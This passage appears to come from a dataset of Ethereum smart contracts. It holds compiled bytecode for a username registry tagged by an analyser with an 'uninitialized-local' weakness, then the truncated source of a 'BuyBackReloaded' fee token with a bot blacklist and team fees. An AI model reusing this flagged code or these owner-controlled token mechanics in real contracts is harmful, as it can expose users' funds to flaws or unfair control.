000000000815260040161204690615321565b60405180910390fd5b600760000160009054906101000a900460ff166120a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209890615241565b60405180910390fd5b6120ad33836000613ab0565b9050919050565b6120bc6146d3565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612148576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213f906151a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121af90615301565b60405180910390fd5b6000801b8214156121fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121f590615321565b60405180910390fd5b6122088383614080565b612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e90615221565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160006101000a81548160ff021916908315150217905550600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060800160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820160009054906101000a900460ff161515151581525050905092915050565b6123926146d3565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f990615301565b60405180910390fd5b61240b82614559565b61244a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612441906153e1565b60405180910390fd5b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060800160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820160009054906101000a900460ff1615151515815250509050919050565b612539614718565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166125c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125bc906151a1565b60405180910390fd5b60008311156125d957826007600301819055505b60008211156125ed57816007600401819055505b60076040518060e00160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820154815260200160038201548152602001600482015481526020016005820180546126ef90615642565b80601f016020809104026020016040519081016040528092919081815260200182805461271b90615642565b80156127685780601f1061273d57610100808354040283529160200191612768565b820191906000526020600020905b81548152906001019060200180831161274b57829003601f168201915b505050505081525050905092915050565b6127816146d3565b6000801b8214156127c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127be90615321565b60405180910390fd5b60076002015434101561280f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161280690615341565b60405180910390fd5b600760000160009054906101000a900460ff16612861576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285890615241565b60405180910390fd5b61286b3383614080565b6128aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128a190615221565b60405180910390fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff161561293a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293190615381565b60405180910390fd5b61294334614624565b506001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160006101000a81548160ff021916908315150217905550600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060800160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820160009054906101000a900460ff1615151515815250509050919050565b612a8e6146d3565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612b1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b11906151a1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612b8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8190615301565b60405180910390fd5b6000801b821415612bd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bc790615321565b60405180910390fd5b612bda8383614080565b612c19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1090615221565b60405180910390fd5b6001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160006101000a81548160ff021916908315150217905550600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060800160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820160009054906101000a900460ff161515151581525050905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612de4906151a1565b60405180910390fd5b6000801b841415612e33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e2a906152e1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612ea3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9a90615281565b60405180910390fd5b6000801b821415612ee9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ee0906151e1565b60405180910390fd5b82600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600760010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612fbc60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856001613ab0565b50612fc983836001613ab0565b506001600760000160006101000a81548160ff021916908315150217905550600190509392505050565b612ffb6146d3565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613087576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161307e906151a1565b60405180910390fd5b6000801b8314156130cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130c490615321565b60405180910390fd5b600760000160009054906101000a900460ff1661311f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161311690615241565b60405180910390fd5b61312a848484613ab0565b90509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156131a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161319b90615301565b60405180910390fd5b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6060600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16613286576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327d906151a1565b60405180910390fd5b60018210156132ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132c1906152c1565b60405180910390fd5b6000806000905060606000806000600760040154886132e99190615522565b90508060058054905010156133795760076004015460058054905010156133135760009250613333565b600760040154600189613326919061557c565b6133309190615522565b92505b6005805490509150818311156133515783965050505050505061352d565b6000831480156133615750600188115b156133745783965050505050505061352d565b61339c565b60076004015460018961338c919061557c565b6133969190615522565b92508091505b600083836133aa919061557c565b90508067ffffffffffffffff8111156133ec577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561341a5781602001602082028036833780820191505090505b5094508396505b828710156135225760058781548110613463577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168587815181106134c7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050858061350c90615674565b965050868061351a90615674565b975050613421565b849750505050505050505b919050565b61353a614718565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146135c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016135bf906151a1565b60405180910390fd5b81600760000160006101000a81548160ff02191690831515021790555060076040518060e00160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016001820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016002820154815260200160038201548152602001600482015481526020016005820180546136e790615642565b80601f016020809104026020016040519081016040528092919081815260200182805461371390615642565b80156137605780601f1061373557610100808354040283529160200191613760565b820191906000526020600020905b81548152906001019060200180831161374357829003601f168201915b5050505050815250509050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613801576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137f8906151a1565b60405180910390fd5b60008211613844576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161383b906153a1565b60405180910390fd5b61384d82614624565b9050919050565b61385c6146d3565b6000801b8214156138a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161389990615361565b60405180910390fd5b6138ab82613fe1565b6138ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016138e190615181565b60405180910390fd5b600260006003600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060800160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820160009054906101000a900460ff1615151515815250509050919050565b60006006600083815260200190815260200160002060009054906101000a900460ff1615613a355760009050613aab565b600073ffffffffffffffffffffffffffffffffffffffff166003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415613aa65760019050613aab565b600090505b919050565b613ab86146d3565b613ac18361416e565b613b00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613af7906152a1565b60405180910390fd5b613b0983613a04565b613b48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b3f90615261565b60405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060800160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820160009054906101000a900460ff161515151581525050905060011515816000015115151415613d32576000600360008360400151815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550846003600086815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550613ef7565b60405180608001604052806001151581526020018673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001841515815250600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040820151816001015560608201518160020160006101000a81548160ff021916908315150217905550905050846003600086815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506005859080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060800160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481526020016002820160009054906101000a900460ff1615151515815250509150509392505050565b6000806003600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050838114156140745760019250505061407b565b6000925050505b919050565b600061408b83614559565b801561409c575061409b82613fe1565b5b15614163576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154905060006003600085815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050838214801561415a57508473ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b92505050614168565b600090505b92915050565b60008060019050600060019050606160f81b846000602081106141ba577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916101580156142515750607a60f81b84600060208110614228577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b1561454d57600190505b60208160ff16101561454c57600060f81b848260ff16602081106142a8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614156142f65760038260ff1610156142eb57600092505050614554565b600192505050614554565b606160f81b848260ff1660208110614337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916101580156143d05750607a60f81b848260ff16602081106143a7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b61452b57603060f81b848260ff1660208110614415577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916101580156144ae5750603960f81b848260ff1660208110614485577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff191611155b61452a57605f60f81b848260ff16602081106144f3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b1a60f81b7effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161461452957600092505050614554565b5b5b8180614536906156bd565b9250508080614544906156bd565b91505061425b565b5b6000925050505b919050565b600080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154905060006003600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156146185760019250505061461f565b6000925050505b919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561468d573d6000803e3d6000fd5b5060019050919050565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600080191681526020016000151581525090565b6040518060800160405280600015158152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600080191681526020016000151581525090565b6040518060e00160405280600015158152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600073ffffffffffffffffffffffffffffffffffffffff168152602001600081526020016000815260200160008152602001606081525090565b60008135905061479281615c06565b92915050565b60008083601f8401126147aa57600080fd5b8235905067ffffffffffffffff8111156147c357600080fd5b6020830191508360208202830111156147db57600080fd5b9250929050565b60008083601f8401126147f457600080fd5b8235905067ffffffffffffffff81111561480d57600080fd5b60208301915083602082028301111561482557600080fd5b9250929050565b60008135905061483b81615c1d565b92915050565b60008135905061485081615c34565b92915050565b60008135905061486581615c4b565b92915050565b60006020828403121561487d57600080fd5b600061488b84828501614783565b91505092915050565b600080604083850312156148a757600080fd5b60006148b585828601614783565b92505060206148c68582860161482c565b9150509250929050565b600080604083850312156148e357600080fd5b60006148f185828601614783565b925050602061490285828601614841565b9150509250929050565b6000806000806080858703121561492257600080fd5b600061493087828801614783565b945050602061494187828801614841565b935050604061495287828801614783565b925050606061496387828801614841565b91505092959194509250565b60008060006060848603121561498457600080fd5b600061499286828701614783565b93505060206149a386828701614841565b92505060406149b48682870161482c565b9150509250925092565b600080602083850312156149d157600080fd5b600083013567ffffffffffffffff8111156149eb57600080fd5b6149f785828601614798565b92509250509250929050565b60008060208385031215614a1657600080fd5b600083013567ffffffffffffffff811115614a3057600080fd5b614a3c858286016147e2565b92509250509250929050565b600060208284031215614a5a57600080fd5b6000614a688482850161482c565b91505092915050565b600060208284031215614a8357600080fd5b6000614a9184828501614841565b91505092915050565b600080600060608486031215614aaf57600080fd5b6000614abd86828701614841565b9350506020614ace86828701614783565b9250506040614adf86828701614841565b9150509250925092565b60008060408385031215614afc57600080fd5b6000614b0a85828601614841565b9250506020614b1b85828601614841565b9150509250929050565b600060208284031215614b3757600080fd5b6000614b4584828501614856565b91505092915050565b60008060408385031215614b6157600080fd5b6000614b6f85828601614856565b9250506020614b8085828601614856565b9150509250929050565b6000614b968383614bba565b60208301905092915050565b6000614bae8383614fb6565b60608301905092915050565b614bc3816155b0565b82525050565b614bd2816155b0565b82525050565b6000614be3826154a3565b614bed81856154de565b9350614bf883615483565b8060005b83811015614c29578151614c108882614b8a565b9750614c1b836154c4565b925050600181019050614bfc565b5085935050505092915050565b6000614c41826154ae565b614c4b81856154ef565b9350614c5683615493565b8060005b83811015614c87578151614c6e8882614ba2565b9750614c79836154d1565b925050600181019050614c5a565b5085935050505092915050565b614c9d816155c2565b82525050565b614cac816155c2565b82525050565b614cbb816155ce565b82525050565b6000614ccc826154b9565b614cd68185615500565b9350614ce681856020860161560f565b614cef81615745565b840191505092915050565b6000614d07603383615511565b9150614d1282615756565b604082019050919050565b6000614d2a601f83615511565b9150614d35826157a5565b602082019050919050565b6000614d4d602c83615511565b9150614d58826157ce565b604082019050919050565b6000614d70602083615511565b9150614d7b8261581d565b602082019050919050565b6000614d93602e83615511565b9150614d9e82615846565b604082019050919050565b6000614db6602983615511565b9150614dc182615895565b604082019050919050565b6000614dd9602483615511565b9150614de4826158e4565b604082019050919050565b6000614dfc601d83615511565b9150614e0782615933565b602082019050919050565b6000614e1f601f83615511565b9150614e2a8261595c565b602082019050919050565b6000614e42601c83615511565b9150614e4d82615985565b602082019050919050565b6000614e65601f83615511565b9150614e70826159ae565b602082019050919050565b6000614e88602183615511565b9150614e93826159d7565b604082019050919050565b6000614eab601a83615511565b9150614eb682615a26565b602082019050919050565b6000614ece601b83615511565b9150614ed982615a4f565b602082019050919050565b6000614ef1602a83615511565b9150614efc82615a78565b604082019050919050565b6000614f14601b83615511565b9150614f1f82615ac7565b602082019050919050565b6000614f37602483615511565b9150614f4282615af0565b604082019050919050565b6000614f5a603983615511565b9150614f6582615b3f565b604082019050919050565b6000614f7d601983615511565b9150614f8882615b8e565b602082019050919050565b6000614fa0603283615511565b9150614fab82615bb7565b604082019050919050565b606082016000820151614fcc6000850182614bba565b506020820151614fdf6020850182614cb2565b506040820151614ff26040850182614c94565b50505050565b600060e0830160008301516150106000860182614c94565b5060208301516150236020860182614bba565b5060408301516150366040860182614bba565b50606083015161504960608601826150e9565b50608083015161505c60808601826150e9565b5060a083015161506f60a08601826150e9565b5060c083015184820360c08601526150878282614cc1565b9150508091505092915050565b6080820160008201516150aa6000850182614c94565b5060208201516150bd6020850182614bba565b5060408201516150d06040850182614cb2565b5060608201516150e36060850182614c94565b50505050565b6150f2816155f8565b82525050565b615101816155f8565b82525050565b600060208201905061511c6000830184614bc9565b92915050565b6000602082019050818103600083015261513c8184614bd8565b905092915050565b6000602082019050818103600083015261515e8184614c36565b905092915050565b600060208201905061517b6000830184614ca3565b92915050565b6000602082019050818103600083015261519a81614cfa565b9050919050565b600060208201905081810360008301526151ba81614d1d565b9050919050565b600060208201905081810360008301526151da81614d40565b9050919050565b600060208201905081810360008301526151fa81614d63565b9050919050565b6000602082019050818103600083015261521a81614d86565b9050919050565b6000602082019050818103600083015261523a81614da9565b9050919050565b6000602082019050818103600083015261525a81614dcc565b9050919050565b6000602082019050818103600083015261527a81614def565b9050919050565b6000602082019050818103600083015261529a81614e12565b9050919050565b600060208201905081810360008301526152ba81614e35565b9050919050565b600060208201905081810360008301526152da81614e58565b9050919050565b600060208201905081810360008301526152fa81614e7b565b9050919050565b6000602082019050818103600083015261531a81614e9e565b9050919050565b6000602082019050818103600083015261533a81614ec1565b9050919050565b6000602082019050818103600083015261535a81614ee4565b9050919050565b6000602082019050818103600083015261537a81614f07565b9050919050565b6000602082019050818103600083015261539a81614f2a565b9050919050565b600060208201905081810360008301526153ba81614f4d565b9050919050565b600060208201905081810360008301526153da81614f70565b9050919050565b600060208201905081810360008301526153fa81614f93565b9050919050565b6000602082019050818103600083015261541b8184614ff8565b905092915050565b60006080820190506154386000830184615094565b92915050565b6000610100820190506154546000830185615094565b6154616080830184615094565b9392505050565b600060208201905061547d60008301846150f8565b92915050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600061552d826155f8565b9150615538836155f8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615615571576155706156e7565b5b828202905092915050565b6000615587826155f8565b9150615592836155f8565b9250828210156155a5576155a46156e7565b5b828203905092915050565b60006155bb826155d8565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561562d578082015181840152602081019050615612565b8381111561563c576000848401525b50505050565b6000600282049050600182168061565a57607f821691505b6020821081141561566e5761566d615716565b5b50919050565b600061567f826155f8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156156b2576156b16156e7565b5b600182019050919050565b60006156c882615602565b915060ff8214156156dc576156db6156e7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f4572726f72203530303a20557365726e616d652120496e76616c69642041646460008201527f726573732d557365726e616d6520506169722e00000000000000000000000000602082015250565b7f4572726f72203430313a20556e617574686f72697a6564204163636573732e00600082015250565b7f4572726f72203530303a20496e76616c696420546f20416464726573732d557360008201527f65726e616d6520506169722e0000000000000000000000000000000000000000602082015250565b7f4572726f72203430303a20496e76616c69642053656c6620557365726e616d65600082015250565b7f4572726f72203530303a20496e76616c69642046726f6d20416464726573732d60008201527f557365726e616d6520506169722e000000000000000000000000000000000000602082015250565b7f4572726f72203530303a20496e76616c696420416464726573732d557365726e60008201527f616d6520506169722e0000000000000000000000000000000000000000000000602082015250565b7f4572726f72203530333a20436f6e7472616374206e6f7420496e697469616c6960008201527f7a65642e00000000000000000000000000000000000000000000000000000000602082015250565b7f4572726f72203530303a20557365726e616d652069732074616b656e2e000000600082015250565b7f4572726f72203430303a20496e76616c69642053656c66204164647265737300600082015250565b7f4572726f72203430303a20496e76616c696420557365726e616d652e00000000600082015250565b7f4572726f72203430303a20496e76616c69642050616765204e756d6265722e00600082015250565b7f4572726f72203430303a20496e76616c6964204f776e657220557365726e616d60008201527f6500000000000000000000000000000000000000000000000000000000000000602082015250565b7f4572726f72203430303a20496e76616c69642041646472657373000000000000600082015250565b7f4572726f72203430303a20496e76616c696420557365726e616d650000000000600082015250565b7f4572726f72203430303a20496e73756666696369656e7420566572696669636160008201527f74696f6e20466565732e00000000000000000000000000000000000000000000602082015250565b7f4572726f72203430302120496e76616c696420557365726e616d650000000000600082015250565b7f4572726f72203530303a205573657220697320616c726561647920766572696660008201527f6965642e00000000000000000000000000000000000000000000000000000000602082015250565b7f4572726f72203430303a20496e76616c696420416d6f756e742120416d6f756e60008201527f74206d7573742062652067726561746572207468616e20302e00000000000000602082015250565b7f4572726f72203430303a20546f6f206d616e7920696e70757400000000000000600082015250565b7f4572726f72203530303a20416464726573732120496e76616c6964204164647260008201527f6573732d557365726e616d6520506169722e0000000000000000000000000000602082015250565b615c0f816155b0565b8114615c1a57600080fd5b50565b615c26816155c2565b8114615c3157600080fd5b50565b615c3d816155ce565b8114615c4857600080fd5b50565b615c54816155f8565b8114615c5f57600080fd5b5056fea264697066735822122078f5568b582a03a6f9d1016cf696bfa9655e6c47f5fadc840d32a15ba643594964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
7,484
0x746cc6ac5da00873e8c1e7b77c2e1665ed9a77e9
/** *Submitted for verification at Etherscan.io on 2021-08-07 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BuyBackReloaded is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "BuyBackReloaded"; string private constant _symbol = "BBR"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _cooldownSeconds = 60; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; 